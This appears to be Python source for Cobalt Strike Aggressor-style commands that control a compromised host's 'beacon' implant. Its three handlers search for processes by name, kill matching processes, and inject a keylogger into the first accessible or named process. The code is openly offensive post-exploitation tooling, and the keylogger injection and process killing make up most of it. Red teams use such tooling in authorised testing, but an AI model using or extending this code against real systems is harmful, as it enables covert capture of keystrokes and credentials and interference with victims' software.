def _(bid, proc_name): def callback(procs): if procs: for proc in procs: out = 'Found {}: {}'.format(proc_name, proc['pid']) if 'arch' in proc: out += ' ({})'.format(proc['arch']) if 'user' in proc: out += ' ({})'.format(proc['user']) aggressor.blog2(bid, out) else: aggressor.berror(bid, 'No processes named {}'.format(proc_name)) aggressor.btask( bid, 'Tasked beacon to search for processes named {}'.format(proc_name)) helpers.find_process(bid, proc_name, callback)
def _(bid, proc_name): def callback(procs): if procs: for proc in procs: out = 'Killing {}: {}'.format(proc_name, proc['pid']) if 'arch' in proc: out += ' ({})'.format(proc['arch']) if 'user' in proc: out += ' ({})'.format(proc['user']) aggressor.btask(bid, out) aggressor.bkill(bid, proc['pid'], silent=True) else: aggressor.berror(bid, 'No processes named {}'.format(proc_name)) aggressor.btask( bid, 'Tasked beacon to kill processes named {}'.format(proc_name)) helpers.find_process(bid, proc_name, callback)
def _(bid, proc_name=None): def parsed_callback(procs): for proc in procs: if 'arch' in proc and 'user' in proc: # inject it aggressor.blog( bid, 'Keylogging process {} ({} {})'.format( proc['name'], proc['pid'], proc['arch'])) aggressor.bkeylogger(bid, proc['pid'], proc['arch'], silent=True) return # nothing found if proc_name: aggressor.berror( "Didn't find any processes named '{}' to inject keylogger". format(proc_name)) else: aggressor.berror("Didn't find any processes to inject keylogger") def ps_callback(bid, content): procs = helpers.parse_ps(content) parsed_callback(procs) if proc_name: aggressor.blog2( bid, 'Tasked beacon to keylog first accessible process named {}'.format( proc_name)) helpers.find_process(bid, proc_name, parsed_callback) else: aggressor.btask(bid, 'Tasked beacon to keylog first accessible process') aggressor.bps(bid, ps_callback)